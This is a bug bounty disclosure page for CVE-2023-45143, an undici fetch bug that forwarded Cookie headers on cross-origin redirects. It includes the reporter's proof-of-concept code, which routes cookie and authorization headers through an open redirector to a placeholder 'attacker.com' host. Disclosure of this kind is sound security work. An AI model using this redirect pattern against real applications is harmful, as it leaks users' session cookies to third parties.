Cookie headers are not cleared in cross-domain redirect in undici-fetch
Undici's fetch implementation did not strip the Cookie header when following a redirect to a different origin, unlike its lower-level request API. An attacker who controls a redirect target, such as through an open redirector, could receive the victim's cookie at a third-party site.
- Disclosed after 2 months
Summary by the program
Cookie headers are not cleared in cross-domain redirect in undici-fetch (Low) - (CVE-2023-45143) Undici did not always clear Cookie headers on cross-origin redirects. By design, cookie headers are forbidden request headers, disallowing them to be set in RequestInit.headers in browser environments. Since undici handles headers more liberally than the spec, there was a disconnect from the assumptions the spec made, and undici's implementation of fetch.
As such this may lead to accidental leakage of cookie to a 3rd-party site or a malicious attacker who can control the redirection target (ie. an open redirector) to leak the cookie to the 3rd party site.
Link to GHSA: https://github.com/nodejs/undici/security/advisories/GHSA-wqq4-5wpv-mx2g
The report
AFFECTED MODULE
undici v5.24.0
STEP TO REPRODUCE
i read this security advisory https://github.com/nodejs/undici/security/advisories/GHSA-q768-x9m6-m9qp . It says it properly cleared sensitive headers like cookie,Authorization are cleared during cross domain redirect . So, i installed undici module and tried to reproduce above
import { request } from 'undici'
const {
statusCode,
headers,
trailers,
body
} = await request('http://anysite.com/redirect.php?url=http://attacker:8182',{
maxRedirections: 3,
headers: {
autHorization: 'test',
cookie: "ddd=dddd"
}})
console.log('response received', statusCode)
console.log('headers', headers)
for await (const data of body) {
console.log('data', data)
}
This will properly clear authorization and cookie header during cross-domain redirect .
Now i tried with undici-fetch and it failed to clear cookie header during cross-domain redirect
import { fetch } from 'undici'
const res = await fetch('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv',{
maxRedirections: 3,
headers: {
AutHorization: 'test',
Cookie: "ddd=dddd"
}})
const json = await res.json()
console.log(json)
here http://attacker.com:8182/ will get above cookie
Impact
cross-domain cookie leak
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely undici's fetch implementation handled headers more liberally than the fetch specification assumes, so the forbidden Cookie header was not removed on cross-origin redirects.
Impact
A cookie could be leaked to a third-party site, particularly where an attacker can control the redirect target such as via an open redirector.
What the attacker needed
Attacker controls the redirect target; application uses undici fetch with cookies
How it was found
- Read the earlier advisory stating sensitive headers are cleared on cross-domain redirect.
- Install the undici module and test the lower-level request API with a redirect to another host, confirming the cookie and authorization headers are cleared.
- Test the fetch API with the same redirect and headers, and observe that the cookie is still sent to the redirect target.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a program follows a redirect to another website, it should drop sensitive headers like cookies so the new site does not receive them. Here the fetch helper in a Node.js library kept sending the cookie along to the new domain. Anyone able to steer a redirect could then read that cookie.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.